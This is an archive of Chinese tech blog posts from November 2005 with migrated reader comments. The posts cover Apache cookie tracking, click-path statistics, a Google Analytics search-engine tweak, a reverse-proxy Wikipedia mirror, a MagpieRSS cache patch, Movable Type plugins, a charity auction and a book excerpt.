Apache本身带有一个mod_usertrack模块：其原理就是在用户首次来到当前网站的时候给用户种下一个唯一的cookie（较长时间过期），这个cookie是用户首次来当前网站的IP地址加上一个随机字符串组成的。 1.2.3.4 … 1.2.3.4.1111 用户1 1.2.3.4 … 1.2.3.4.2222 用户2 1.2.3.4 … 1.2.3.4.3333 用户3 第2天，即使用户换了IP， 1.2.1.2 … 1.2.3.4.1111 用户1

具体的配置方法如下： 1 启用mod_usertrack模块： LoadModule usertrack_module libexec/mod_usertrack.so AddModule mod_usertrack.c

2 针对一个域名启用CookieTracking CookieTracking on CookieDomain .chedong.com CookieExpires “10 years” CookieStyle Cookie

3 mod_usertrack的记录: 在日志最后增加%{cookie}n字段 LogFormat “%h %l %u %t "%r" %>s %b "%{Referer}i" "%{User-Agent}i" %{cookie}n” combined

启用mod_usertrack后的日志样例： 202.160.180.61 - - [30/Nov/2005:17:38:44 +0800] “GET /phpMan.php/man/HTML::AsSubs/3pm HTTP/1.0” 200 4911 “-” “Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)" 202.160.180.61.227021133343524377 218.249.22.70 - - [30/Nov/2005:17:38:45 +0800] “GET /referer.js HTTP/1.0” 200 26254 “http://bietile.bokee.com/" “Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)” 218.249.22.70.11531133343525235 202.160.180.61 - - [30/Nov/2005:17:38:48 +0800] “GET /phpMan.php/man/File::CheckTree/3pm HTTP/1.0” 200 4654 “-” “Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)" 202.160.180.61.222451133343528428

利用StatViz生成网站用户点击路径图

Tue, 29 Nov 2005 00:04:48 +0800

今天尝试了一下StatViz，生成了自己网站的点击路径统计：网站好“扁平”啊；图较大，点击这里下载

具体的安装过程如下：下载GraphViz：一个通用的矢量图生成工具下载StatViz：一个基于Web日志生成点击路径矢量结构的工具（PHP脚本）1000多行，生成的.dot文件再使用GraphViz处理生成矢量图了。辅助安装包：StatViz可能需要PEAR中的Config包：用于解析配置文件。

安装好以上包后：解包statviz-0.5.tgz php statviz.php –config=example.conf 就可以生成相应的.dot文件了，其中一个输出文件是汇总的点击pairs统计。

生成图片的具体方法：我使用的Windows版本的GraphViz，命令行待以后需要自动生成统计的时候研究一下缺省配置的图分辨率可能太小，我选择了设置-Gsize=1024

然后点击Do layout 图片就按要求生成了。

这里还有Wikipedia.cnblog.org的统计：点击这里下载

💬 历史评论

以下 7 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Kreny · 2005-11-29 04:52

老大，尽量用小图－－＞大图的形式．不然别人 css 你的blog的时候，会被你的图片撑破肚子的～～　看看我的主页，已经被撑破肚子啦～～哈哈哈，

回复：Kreny 改正了 :)

龙在天涯 · 2005-11-29 10:33

问一个问题，节点上的乱码能不能转换成汉字？

回复： ZZDragon 节点上是UTF-8后的URLEncode，

smartygg · 2005-11-29 13:49

有意思~~

Kreny · 2005-11-29 15:06

谢谢老大～　　发现我把 RSS 写成 CSS 了…. 无语… :-S

SHENGSHENG · 2005-11-29 21:32

Google分析使用技巧：给Analytics增加针对百度/soso等搜索来源统计代码

Mon, 28 Nov 2005 10:53:05 +0800

和AWStats一样，Google Analytics完全没有考虑中国的搜索引擎市场中更主要的2个搜索引擎来源：Baidu/3721/soso等搜索引擎的来源，而微软和电信的合作，有道引擎等，如果要计入统计方法也很简单hack一下urchin.js的部署代码即可：

_uacct = "YOUR_USER_ID"; 
_uOsr[121]="3721";      _uOkw[121]="name";
_uOsr[122]="baidu";      _uOkw[122]="word";
_uOsr[123]="soso";      _uOkw[123]="w";
_uOsr[124]="vnet";      _uOkw[124]="kw";
_uOsr[125]="yodao";      _uOkw[125]="q";**
urchinTracker();

搜索引擎定义编号最好从120开始：因为analytics对全球各地主要搜索引擎的定义还不断在更新中，目前（2007年12月）已经增加到了33个，

_uOsr[0]="google"; _uOkw[0]="q"; _uOsr[1]="yahoo"; _uOkw[1]="p"; _uOsr[2]="msn"; _uOkw[2]="q"; _uOsr[3]="aol"; _uOkw[3]="query"; _uOsr[4]="aol"; _uOkw[4]="encquery"; _uOsr[5]="lycos"; _uOkw[5]="query"; _uOsr[6]="ask"; _uOkw[6]="q"; _uOsr[7]="altavista"; _uOkw[7]="q"; _uOsr[8]="netscape"; _uOkw[8]="query"; _uOsr[9]="cnn"; _uOkw[9]="query"; _uOsr[10]="looksmart"; _uOkw[10]="qt"; _uOsr[11]="about"; _uOkw[11]="terms"; _uOsr[12]="mamma"; _uOkw[12]="query"; _uOsr[13]="alltheweb"; _uOkw[13]="q"; _uOsr[14]="gigablast"; _uOkw[14]="q"; _uOsr[15]="voila"; _uOkw[15]="rdata"; _uOsr[16]="virgilio"; _uOkw[16]="qs"; _uOsr[17]="live"; _uOkw[17]="q"; _uOsr[18]="baidu"; _uOkw[18]="wd"; _uOsr[19]="alice"; _uOkw[19]="qs"; _uOsr[20]="yandex"; _uOkw[20]="text"; _uOsr[21]="najdi"; _uOkw[21]="q"; _uOsr[22]="aol"; _uOkw[22]="q"; _uOsr[23]="club-internet"; _uOkw[23]="q"; _uOsr[24]="mama"; _uOkw[24]="query"; _uOsr[25]="seznam"; _uOkw[25]="q"; _uOsr[26]="search"; _uOkw[26]="q"; _uOsr[27]="szukaj"; _uOkw[27]="szukaj"; _uOsr[28]="szukaj"; _uOkw[28]="qt"; _uOsr[29]="netsprint"; _uOkw[29]="q"; _uOsr[30]="google.interia"; _uOkw[30]="q"; _uOsr[31]="szukacz"; _uOkw[31]="q"; _uOsr[32]="yam"; _uOkw[32]="k"; _uOsr[33]="pchome"; _uOkw[33]="q";

百度/3721搜索来源统计效果截图：2005年11月

中文网志年会 [WikiPedia]篇

Sat, 26 Nov 2005 00:28:59 +0800

11月初的中文网志年会上：中文WikiPedian也是其中很出色的一群，在国内看到这样一些为着一个至今仍被阻尼的服务仍然努力着的一群人让我很感动。 wikipedia是一个非常伟大的项目：wiki本身的架构充分体现了Well organized, well referenced with easy navigation的设计. 而更难得的是wikipedia这样一个开发式写作平台其后台良好的协作机制和民主中立的内涵等。这里有一份Wikipedia后台管理员发给我的wikipedia 2005年5月份的统计报告：点击下载，从中我们可以看到全世界范围内wikipedia的发展和在中文世界的发展情况。

这里我将7月份设置zh.wikipedia.org镜像的过程简要介绍一下：希望有更多的人能够帮助Wikipedia的国内镜像，而从中也能发现：Wikipedia网站结构本身的和目录无关性和域名无关性也是便于镜像的重要原因。在cnblog上使用的apahe配置如下：算是一个使用mod_proxy进行反相代理和mod_cache进行缓存加速的例子吧。

<VirtualHost *:80> ServerName wikipedia.cnblog.org ProxyPass / http://zh.wikipedia.org/ ProxyPassReverse / http://zh.wikipedia.org/

CustomLog “|/usr/local/sbin/cronolog /home/apache/logs/wikipedia_cnblog_access_log.%Y%m%d” combined

CacheRoot “/home/apache/cache/zh.wikipedia.org” CacheSize 500000 CacheDirLevels 1 CacheGcInterval 10 CacheMaxExpire 240 CacheLastModifiedFactor 0.1 CacheDefaultExpire 10

由于近期美国主站访问有阻尼：设置了/etc/hosts 中将zh.wikipedia.org指向其在法国的镜像（也是基于Squid建立的）

wikipedia.org Europe mirror

145.97.39.155 zh.wikipedia.org

中文Wikipedia7月份以来的后台访问统计： http://blog.cnblog.org/cgi-bin/awstats/awstats.pl?config=wikipedia

Technorati : [wikipedia](http://technorati.com/tag/wikipedia)

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

自动分类引擎: PreviewSeek

Fri, 25 Nov 2005 22:31:34 +0800

[![](http://static.flickr.com/35/66665395_241622863b_m.jpg)](http://www.flickr.com/photos/keso/66665395/) [who is keso](http://www.flickr.com/photos/keso/66665395/)

Originally uploaded by keso.

可能是个带有blogger名人库的自动分类引擎，会不时包含一些人物说明。不过再次说明：blogger们或者很多人尝试使用一个新的引擎的时候，经常会[先ego surfing](www.chedong.com/blog/archives/000486.html)一把……查查自己的名字先

2005-11-27更新：感谢Tinyfool的提示，原来这个名人库就是Wikipedia（英文库）

其分类效果比起Clusty还是要差一些。

💬 历史评论

以下 2 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

cero · 2005-11-25 22:51

试一下去

tinyfool · 2005-11-26 23:51

webleon说keso的介绍实际是读取了维基百科的相关字段

我去看了下，没错

EurekSter + SWiki = swicki.eurekster.com

Fri, 18 Nov 2005 00:28:10 +0800

不是我不明白，这世界变化快，2年前我用过EurekSter的搜索引擎，1年前我用过一个叫SWiki的在线服务，前一段时间挂了，转向去了另外一个地方，今天从WebLeOn那里看到：原来变成了SWicki。太奇怪了，一个基于社交网络的搜索引擎（你可以看到你朋友的搜索推荐）怎么变成了一个面向个人的搜索引擎呢？

我生成了一个：http://swicki.eurekster.com/swickis/chedong.htm 后台好像还是AllTheWeb

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

史建琦 · 2005-11-25 16:48

大哥，我下了MT3.2发现里面没有mt-load.cgi这个文件呀．大哥能把您的发mail给我吗？晕死呀．真是不好意．谢谢你了．

lilina(MagpieRSS)的缓存加速II：加入MAGPIE_LOAD_CACHE_ONLY模式

Thu, 17 Nov 2005 19:36:03 +0800

订阅的Feed越来越多，即使基于简单的配置缓存有时候也经常速度跟不上：网站经常出现只剩下右边半边的情况，就是由于缓存期间抓取远程的网页超时导致的。其实Planet和Gregarius一样，都是在用户访问的时候避免对FEED的动态更新。Planet和Gregarius都是使用后台脚本定时同步FEED，在MagpieRSS外面包了一层存储（数据库），我直接在MagpieRSS中增加了一个只读本地缓存模式。修改了一下MagpieRSS的缓存逻辑：加入一个MAGPIE_LOAD_CACHE_ONLY 模式，只从本地的缓存中取feed，避免更新期间向远程发送FEED同步请求。

然后在lilina前台这样调用即可：

// cache expire in 3 hours define('MAGPIE_CACHE_AGE', 60 * 60 * 3); // load cache only define('MAGPIE_LOAD_CACHE_ONLY', true);

require_once(’./lib.php’);

完整的Patch:如下

Index: rss_cache.inc

RCS file: /cvsroot/magpierss/magpierss/rss_cache.inc,v retrieving revision 1.10 diff -r1.10 rss_cache.inc 113a114,116

    global $MAGPIE_LOAD_CACHE_ONLY;
    global $MAGPIE_DEBUG;

117a121,126

        if ( MAGPIE_LOAD_CACHE_ONLY ) {
            if ( MAGPIE_DEBUG ) {
               $this->error("MagpieRSS [debug] $debugmsg MAGPIE_LOAD_CACHE_ONLY on", $MAGPIE_LOAD_CACHE_ONLY);
            }
            return 'HIT';
        }

Index: rss_fetch.inc

RCS file: /cvsroot/magpierss/magpierss/rss_fetch.inc,v retrieving revision 1.21 diff -r1.21 rss_fetch.inc 85d84 < 393a393,397

Urchin => Analytics Google的免费网站统计系统发布

Tue, 15 Nov 2005 01:19:12 +0800

Analytics: 分析学发音：[ane’Iitiks]

从2005年3月底收购Urchin，到发布免费的Google Analytics，Google大约用了8个月的时间：而且产品是有中文界面的。

Google搜索本身的点击目标跟踪统计；带有URL跟踪的toolbar； Spider的全网抓取；免费的反相代理加速器；互联网上还有什么Google不知道的呢？

我下载了一下urchin.js：做了简单的分析；搜索引擎来源的定义中缺少百度和3721：看来还是太不了解中国市场。和我用AWStats的感觉一样。urchin.js文件大小为17k（这几乎和一个搜索结果页差不多大），假设analytics跟踪每天20亿PV的网站流量，Google每天要为这个服务付出34T bytes的带宽日流量，而20亿PV的日统计计算，尤其在Urchin如此丰富的统计项目下，计算量也是非常大的，硬件投资可是不小啊……

Google发布这样的工具：各种互联网营销工具的效果一目了然，每家搜索引擎的搜索竞价效果好坏对于用户来说都变得非常透明。同时Google对竞争对手的流量也获得了完全的控制。

后台内容发布系统：Blogger.com 广告发布系统：AdSense 日志统计工具：Analytics 论坛系统：Groups.Google Gmail邮件：做在线商务无还缺什么呢？

注：Google 2月份开始已经是顶级域名注册服务商

2005-11-15更新我的帐号是12:12分注册的：帐号是UA-69476-1 Ada是晚上7:30申请的：帐号是UA-56197-1 短短4个多小时，已经有1万多人注册……

2005-11-16更新昨天，发现帐号编号已经达到了11万……11万个网站申请了免费计数器。

学习一下urchin.js的 501行的代码: Content-Type: text/javascript Last-Modified: Thu, 10 Nov 2005 19:03:22 GMT Server: ucfe Content-Length: 17108 Date: Mon, 14 Nov 2005 16:46:02 GMT Connection: Keep-Alive

//– Google Analytics Urchin Module //– Copyright 2005 Google, All Rights Reserved.

//– Urchin On Demand Settings ONLY var _uacct=""; // set up the Urchin Account var _userv=1; // service mode (0=local,1=remote,2=both)

[MTRelatedEntriesByKeyword]给MT加入Tagging机制

Mon, 14 Nov 2005 08:23:12 +0800

曾经介绍过给自己的Blog加上Y!Q用于在互联网上搜索搜索相关文章http://www.chedong.com/blog/archives/000910.html，但目前Y!Q对于中文的支持有限，而且实时性很差。我暂时从模板中去掉了。其实猫叔介绍过另外一个将MT内部文章通过关键词（Tagging）相互串连起来的机制。那个插件叫做MTRelatedEntries ByKeyword。原理就是利用MT的关键词字段，设置多个tagging，从而达到文章之间多对多的分类组合。

1 打开关键词编辑，MT的文章编辑界面中，缺省是不包括关键词字段显示的：需要自己“定制此窗口的显示方式”

2 下载MTRelatedEntriesByKeyword

3 在模板中加入： <$MTEntryTitle$>

<$MTEntryTitle$>

</MTEntries> </MTRelatedEntriesByKeyword>

以后每次发表文章的时候加上自定义的关键词（可以是多个），就实现了MT文章内部之间基于tagging的类聚。

MT的安装是我写的第一篇blog后，由于找不到合适的引用机制，我常在原有文章上进行更新，使用了tagging机制就能保证以前的文章比较稳定的仍能按照比较相关的出现：算是对以前文章的一次自动发现。

后记：感谢DBANotes: 推荐了TagWare

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Fenng · 2005-11-14 12:44

这个其实不够好

你可以看看我的,我现在用的Tagwire,我觉得很棒! 设置可以自己做TagCloud

Jian Shuo Wang · 2005-11-14 15:26

坚持认为应该有人写一个基于AJAX思想的方法，可以让作者通过Flickr那样的方法来加tag，而不是用现在MT的一个框，或者是del.icio.us的那种弹出网页。

chris · 2005-11-16 16:24

车东兄,你的"相关文章"是用什么插件做的?

中文网志年会签名T恤拍卖 360

Sun, 13 Nov 2005 11:29:33 +0800

年会上Sabrina拿了一件Tshirt后找了许多blogger签名，然后委托我们竞拍，并将拍卖获得的款项捐给微笑图书室和多背一公斤两个公益项目。

中文网志年会签名T恤拍卖中，我和Ada出价 360￥。

请支持微笑图书馆和多背一公斤公益项目。

竞拍规则如下：

以这个日志项为拍卖地点；拍卖底价：人民币21元；竞拍的货币为人民币，价格数必须是整数；如竞拍者打算以外币竞拍和结算，请将按汇率换成人民币后竞拍；拍卖结束时间：2005年12月1日0时0分0秒；以trackback方式接受竞拍，即：，竞拍者trackback本日志项，trackback内容必须指明竞拍价格； TrackBack地址： http://blog.cnblog.org/cgi-bin/mt/mt-tb.cgi/1357 如果遇到最终最高价有多个竞拍者，时间上最早的那个竞拍者算赢；建议竞拍的trackback的日志项有两个标签，bbcc，cnbloggercon；本日志项的comment不当作竞拍，只用于建议，意见或者提问；

竞拍已经开始。

💬 历史评论

以下 6 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Vista · 2005-11-13 12:13

給車東和Ada拍拍手:)

大家一起來做公益

WhaDonce · 2005-11-13 14:02

强烈支持。

superlover · 2005-11-13 14:28

为了这件体恤，第一次用TrackBack，不知道为什么是乱码?我的出价是508元。

扬子 · 2005-11-13 14:41

在Google的讨论组里出了个价，再到车冬主页上看到已经传开了，进一步估计400元的出价连做垫底时间都很短….还是过来说一声：　可能是最早想到这个创意的扬子出价400元。

Breeze · 2005-11-13 19:47

没看到车东的签名呢?

珠珠 · 2005-11-14 20:11

会上没机会和你多交流，没想到在这里看到你为微笑“叫卖”:P

中文网志年会 - [公益]篇

Sat, 12 Nov 2005 16:35:27 +0800

cnblog的非功利性一直是吸引很多人参与的原因，在这次网志年会上：也给另外一些很有创意的公益组织一个展示的机会。比如：多背一公斤(1kg.cn) 有一个很好的办法宣传多背一公斤项目：就是利用你的MSN头像 http://msn.1kg.cn

另外一个是微笑图书室：让没书的孩子有书看，让你的书找到看书的孩子。

以上2个网站的赞助商里我都看到了BlogBus

中国目前民间的公益组织是越来越多了，但中间除了注册/资金这些基本的问题外：得到了资金赞助后的管理也是一个问题。相比之下我在泸沽湖看到台湾爱心团捐助的达祖小学运作的还是挺不错的：所有资金都是非常清晰的明细。达祖小学除了面向小学生外，晚上也有给成人的扫盲班。同时：小学里的太阳能热水器为是周边的村民提供一个可以免费洗澡的地方，对当地的生活方式的改变也有一定的影响。

相比之下：近期我们曾经捐助过的白马雪山小学却遇到了一些问题。非盈利组织的管理也是一门需要学习/积累的知识。

2005-11-05 年会上的微笑图书馆负责人和BlogBus负责人横戈

💬 历史评论

以下 3 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

Breeze · 2005-11-12 20:07

政府为何不作为?

老狗 · 2005-11-12 23:48

车东：我是从传统档案管理与情报文献出发研究资料库、档案及分类与主题词表的。本来想利用windows的档案管理目录架构个人档案管理系统，但我觉得是否可以利用BLOG来做更佳的界面呢？尤其是我计划做一个大型的动漫画创意网站，彼此间交换讨论会不限文字的。想与你联系，进一步请教。我在台湾，但随时可到北京。

more头小子 · 2005-12-06 09:46

Nothing in a life~

34个好习惯

Thu, 10 Nov 2005 16:13:18 +0800

Just 平生一笑: 转贴人生的34个好习惯，共勉

不说“不可能”三个字。

凡事第一反应：找方法，而不是找借口。

遇到挫折对自己大声说：太棒了! 　

不说消极的话，不落入消极情绪，一旦出现立即正面处理。

凡事先订立目标，并且尽量制作“梦想版”。

凡事预先作计划，尽量将目标视觉化。

工作时间。每一分，每一秒都做有利于生产的事情。

随时用零碎的时间(如等人、排队等)做零碎的事情。

守时。

写下来，不要太依靠脑袋记忆。

随时记录灵感。

把重要的观念，方法写下来，并贴起来，以随时提示自己。

走路比平时快30%，走路时脚尖稍用力推进，肢体语言健康有力，不懒散，萎靡。

每天出门照镜子，给自己一个自信的微笑。

每天自我反省一次。

每天坚持一次运动。

听心跳一分钟，指在做重要事情前，疲劳时，心情烦躁时，紧张时。

开会坐在前排。

微笑。 20. 用心倾听，不打断对方说话。

说话时声音有力。感觉自己声音似乎能产生有感染力的磁场。

说话之前，先考虑一下对方的感受。 23. 每天有意识，真诚地赞美别人三次以上。

及时写感谢卡，哪怕是用便笺写。

不用训斥，指责的口吻跟别人说话。

控制住不要让自己做出为自己辩护的第一反应。

每天做一件“分外事”。

不管任何方面，每天必须至少做一次“进步一点点”。

每天提前15分钟上班，推迟30分钟下班。

每天在下班前用5分钟的时间做一天的整理工作。

定期存钱。

节俭。

时常运用“头脑风暴”。

恪守诚信，说到做到。

今天30岁生日：共勉

💬 历史评论

以下 48 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

小峰 · 2005-11-10 17:07

生日快乐，：）

--读者

yifa · 2005-11-10 17:09

生日快乐！

ejan · 2005-11-10 17:13

生日快乐!

但是

每天提前15分钟上班，推迟30分钟下班。

我极力反对这条!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

无处不在的分类技术：Google Groups增加相关论坛功能

Wed, 09 Nov 2005 16:37:26 +0800

感觉Google Groups一直是上下文匹配技术的试验田：除了文章列表右侧有动态的AdSense广告和相关网页内容提示外，我今天在论坛的后台管理界面中也看到了相关论坛。(不知道这2天后台管理一直不能用是不是这个原因。)

在没有相关论坛功能之前：大部分论坛全部都是**“孤岛”**，而基于主题自动提取的分类/类聚机制无疑会加大论坛之间的交互，

最近参与中文网志年会的论坛后台管理，用的挺勤的，应该是一个新功能：从效果来看，这几个论坛的相关度相当高。

Beijing Blogger

Donate Hour Program Champions

wego

keso

💬 历史评论

以下 1 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

keso · 2005-11-09 23:54

这里是相关groups： http://groups.google.com/group/cnbloggercon/related?lnk=rghm

中文网志年会 - [CMS]篇

Tue, 08 Nov 2005 19:17:05 +0800

Blog发布工具/系统一直是让blogger相互联系起来很重要的一个方面，因为写网志首先要解决的就是要有写作的平台。在中文网志年会上：我见到了很多人，其中很多人的网志都是我以前在使用BLOG/开发CMS过程中学习参考过的。不是blog的发展历史，只是简单回顾一下我这几年来观察到的伴随blogger们一起成长的CMS工具的演变。

自助工具篇 最早写blog的朋友很多都是自己架设CMS（内容管理系统的）的。想想2年前（大约2003年的时候）吧：各种blog的发布系统还远远不如今天这么成熟，当时Blogger之间讨论很多都是关于各种后台系统的技术问题，回顾一下当时流行的blog的发布系统：年会上见到峨桥本人让我真有一种百感交集的感觉：因为第一次使用b2就是“峨桥，不是一座桥”上看到的，网上关于phpNuke和其他几种基于PHP的发布系统他都有非常深入的实践和研究。由于B2本身架构设计的限制后来一直没有太多的发展，看到峨桥最后也转向了使用WordPress。另外我也很佩服毛向辉：自己用ASP.NET写了一套非常灵活的发布系统，不知道目前是否仍在使用，反正很多机制，如：RSS trackback都是有的，评论用了第三方的服务，当时甚至使用access数据库完成了gRaSSland搜索引擎的第一版。由于方兴东对alwayson创始人的推崇，我也了解了一下pMachine；此外：高春晖选择了：Nucleus，至今还在用。而CSDN和Donews应该是.TEXT这套基于.NET的在中国最成功的实例；

最后我和大部分人一样：选择了搜索引擎上最流行的blog发布系统：MovableType，这里要感谢Udoo将自己架设blog的过程发布共享出来，我第一次使用MT也是参考了他的帮助，下了很大决心才完成的。而四年的成就：SixApart公司的MovableType有目共睹。目前这个是2003年底开始使用，最早为2.x系列做界面翻译的是台湾的Jedi（最近刚退役回来），而目前3.x系列的中文版本则是平生一笑提供的。中间我曾经尝试了无数的插件和方法来解决comments spam问题，在最新的3.2版本中，这个问题似乎得到了一点控制。未来的赢家看上去更像是WordPress，今年年中的时候尝试了一下WordPress，感觉的确安装非常方便，由于PHP本身比Perl的学习成本低很多，用户也更广范一些。相信WP一定有更美好的未来。

更多内容还在后面….

第3方服务blog hosting服务的发展 而今年的年会上，已经有很多国内专业BSP(blogging service provider)的参与。相信大部分国内的blogger最早使用的Blogger.com的服务，Blogger服务缺省发布在blogspot.com上，但由于访问受到限制，大部分中文用户最后都放弃了。另外一部分则辗转于各种国外免费的BSP上，国内的BSP越来越多是件好事儿。除了一般的文字BLOG服务：还出现了更多专业服务图片BLOG工具：FlickR 学会使用了FlickR以后，我用MT写作的越来越少了。 LinkBlog工具：del.icio.us RSS聚合/订阅工具：BlogLines, Lilina

不仅是已经出现很多家blog service provider，很多传统门户的参与也让在线写作的人也越来越多了，比如：现在最流行的服务商就是“MSN名字前面那朵小花”。相信第3方的服务是推动Blog服务普及的根本，但各种架站软件/服务所创立的一些机制却是这些BSP们需要借鉴和遵循的标准：
使用RSS/ATOM，TrackBack 有对外开放的API； Search engine friendly的PermaLink，扁平的归档机制（按月/按目录），按时间倒排（最新的在最前面）的浏览方式；注重评论和交互；方便的导入/导出机制；可视化编辑器方便编辑；数据和表现的分离：方便/可自定义的模板机制；开放的插件平台；

除了选择发布系统外：还可以看到blogger写作的推广者其他的一些特点。 域名==品牌 从域名的管理来看，大部分blogger都申请了自己的域名，这的确是一个保证。Zheng最早在51.net，相对来说：拥有自己的域名，虽然有些麻烦，但是长期来看，还是比较可靠的。当然，并不是所有的人都能熟悉域名注册的流程和邮件MX地址之类的复杂设置。

早期的个人主页先驱可能都有网站服务商中断，被迫迁移的经历。理想的一种BSP服务模式是这样的： BSP专心提供后台内容管理系统：但内容发布能够做到和域名无关（domain independly），而且不一定利用BSP提供的子域名，内容的输出尽量使用相对路径链接，无论发布在foo.com下还是发布在bar.com 或者是 example.com/bulabula/ 这杨一个目录下都能够平滑的进行浏览，然后有代理服务器通过反相代理/url rewrite机制将内容发布在用户自己的域名下 www.username.com。好比目前cnblog镜像zh.wikipedia.org。这样blogger就可以在自己的品牌(域名)下比较从容的切换不同的后台服务商。

小结和BBS，新闻的发布一样：Blog也是CMS的一种，虽然每个方面都是那么一点点改进，但是积累多了，还是让blog这种发布机制产生了比传统的CMS更大的影响力。CMS的发展是blogger发展的一个缩影，还是这句话用来形容Blog/Wiki：良好引用，良好结构，良好导航 Well referenced and well organized, with easy navigation

预告：公益事业篇搜索篇 Wikipedia篇 coming soon…

后记：会上我见到了以前很多很有名的blogger: 叶子中国茶，而参加会议的blogger也是来自五湖四海，应该有更多更好的blog服务商为像小精子这样的天才搭台才是，用户让整个互联网才能变得更加有趣。

💬 历史评论

以下 4 条评论从旧版 Movable Type 博客迁移而来。原始评论时间：2002–2016 年。

ahu · 2005-11-09 00:01

给MT增加Add to My Yahoo!图标

Tue, 08 Nov 2005 13:34:32 +0800

这里有一个图标和链接的生成器： http://my.yahoo.com/s/button.html 选择图标，输入自己Blog的地址，代码就生成了。

Add to My Yahoo!是一个很方便的收藏RSS数据源的工具： * RSS是近年来发展很快的数据同步机制，已经不再只是GEEK的专利. * 他使得My Yahoo!有了更多数据源 * And, well, it’s just cool. That counts for something too. :-)

其实开放的平台，甚至像网址站一样，只要以用户更多的便利而不是以网站自身的流量为主要的考虑，总能吸引更多的用户使用。这和允许用户离开的策略是一样的。

《蓝海战略》- 最近看的一本书

Mon, 07 Nov 2005 21:19:12 +0800

和Vista聊天的时候知道最近台湾很火的一本书《蓝海策略》

想法是这样的：提倡競爭力以來，企業激烈競爭但結果卻是全輸，本書作者金偉燦提出新的觀點-無人競爭。尋求不同的利基，避免血流成河的紅海策略，而開創無人競爭的全新市場。本書提出的是「不靠競爭而取勝」（Winning by Not Competing）的全新策略思維。

摘自：藍海策略

本書兩位作者都任教於法國最負盛名的INSEAD 商學院，他們研究百年來三十家企業體的一百五十個策略個案，發現割喉式的競爭只會造成一片血海；真正獲利的企業徹底甩開對手自闢沒有競爭的新市場。藍海策略強調價值的重塑和創新，而不偏執於技術創新或是突破性科技發展。作者指出，能夠超越競爭的成功的企業，不是去挖掘自己的顧客需要什麼；而是研究非顧客的需求。過去企業在紅海中廝殺，彼此競爭的是價格，只能靠大量生產、降低售價來獲取利潤。本書提出，成功的企業應同時追求差異化和低成本，創造出屬於自己的市場。

更新： 2005-11-07 谢谢吕欣欣：书收到了，简体中文版译名《蓝海战略》

2005-11-08 感谢Vista: 谢谢书摘和PPT

蓝海策略（书摘）

第一章创造蓝色海洋　赖利伯( Guy Laliberte)拉过手风琴、踩过高跷，也做过吞火魔术师，现在是加拿大文化出口业劲旅太阳马戏团(Cirque Soleil)执行长。这个1984年由一群街头演艺家组成的马戏团，已先后在全球九十个城市演出，吸引了将近四千万观众。成立还不到二十年，它的营收已达到全球马戏团业霸主玲玲马戏团(Ringling Bros. and Barnum & Bailey)经营了一百多年才达到的水平。

　这种快速成长确实令人赞佩。更难能可贵的是，马戏团这一行早已失去诱人光彩，沦为传统策略分析显示成长潜力非常有限的没落行业。首先，明星演员的供应面势力和买方势力都很强。第二，各种都会生活娱乐、体育活动，一直到家庭娱乐，形形色色的替代娱乐对它影响愈来愈大。第三，现代儿童宁可要电动玩具，而不愿去看马戏团巡回演出。这些情况导致马戏团观众不断减少，营收和营利也随之走下坡。人权团体反对马戏团强迫动物表演的声浪也愈来愈大。此外，玲玲马戏团早已为这一行订定标准，其它竞争对手只能依样画葫芦，只是规模相形见绌。因此，从竞争本位策略来看，马戏团这一行似乎毫无吸引力。

　太阳马戏团的成就还有一点更加难得：它不是从早已日益萎缩的原有马戏团市场争取顾客。传统马戏团向来以讨好儿童为主，太阳马戏团却不与玲玲正面竞争。相反的，它创造无人与其竞争的市场空间，使竞争完全无关紧要。它吸引的是全新的顾客群：愿意花数倍于传统马戏团门票的费用，以获得新鲜娱乐经验的成年人和公司客户。太阳马戏团制作的第一个节目是「我们改造了马戏团」，从这点可见一斑。新市场空间

　太阳马戏团之所以能够成功，是因为它体认要在未来赢得胜利，公司企业必须停止彼此竞争。要彻底打败竞争，唯一的办法就是不要再试图打败竞争。

　要了解太阳马戏团的成就，不妨想象一个由两种海洋形成的市场天地：红色海洋和蓝色海洋。红色海洋代表所有现有企业。这是已知的市场空间。蓝色海洋代表所有目前并不存在的企业。这是未知的市场空间。

　在红色海洋，企业有公认的明确界线，也有一套共通的竞争法则。在这里，公司机构试图表现得比竞争对手更好，以掌握现有需求，控制更大的占有率。随着市场空间愈来愈拥挤，营利和成长展望愈来愈狭窄。产品沦为商品，割喉战把红色海洋染成一片血腥。

　相形之下，蓝色海洋是由尚未开发的市场空间、创造新的需求，以及高营利成长机会所定义。虽然有些蓝色海洋扩展到远超过现有企业疆界，可是它们大部分是像太阳马戏团一样，借着扩展现有企业疆界，从红色海洋里面创造出来。在蓝色海洋，竞争无关紧要，因为游戏规则还待订定。

　在红色海洋必须无时无刻地寻求超越对手，才能成功屹立。红色海洋的重要性永远不容忽视，企业生活也永远摆脱不了这种现实。但是，随着愈来愈多行业供过于求，争夺日益收缩的市场固然必要，却不足以让企业维持高效能(注)。公司必须超乎竞争。要掌握新的营利和成长机会，它们也必须创造蓝色海洋。(注：Gary Hamel、C.K. Prahalad[1994]以及James Moore[1996]指出，市场竞争正在加剧，商业也加速商品化，而公司如想成长，这两种趋势使创造新市场势在必行。)

